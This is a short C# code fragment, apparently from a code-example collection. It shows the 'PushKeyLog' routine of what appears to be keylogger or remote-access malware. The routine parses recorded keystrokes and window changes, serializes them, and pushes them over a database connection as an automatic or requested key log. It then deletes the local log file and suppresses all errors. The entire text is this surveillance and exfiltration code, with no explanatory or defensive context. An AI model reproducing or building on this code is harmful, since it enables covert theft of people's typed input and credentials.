Example #1
0
        private void PushKeyLog(bool forcePush)
        {
            var tempLog    = KeyLog.Parse(_logFile.FullName);
            var serializer =
                new Serializer(new[]
            {
                typeof(List <KeyLogEntry>), typeof(NormalText), typeof(SpecialKey), typeof(StandardKey),
                typeof(WindowChanged)
            });

            try
            {
                _databaseConnection.PushFile(serializer.Serialize(tempLog.LogEntries), forcePush ? "Requested Key Log" : "Automatic Key Log", DataMode.KeyLog);
                _logFile.Delete();
            }
            catch (Exception)
            {
                // ignored
            }
        }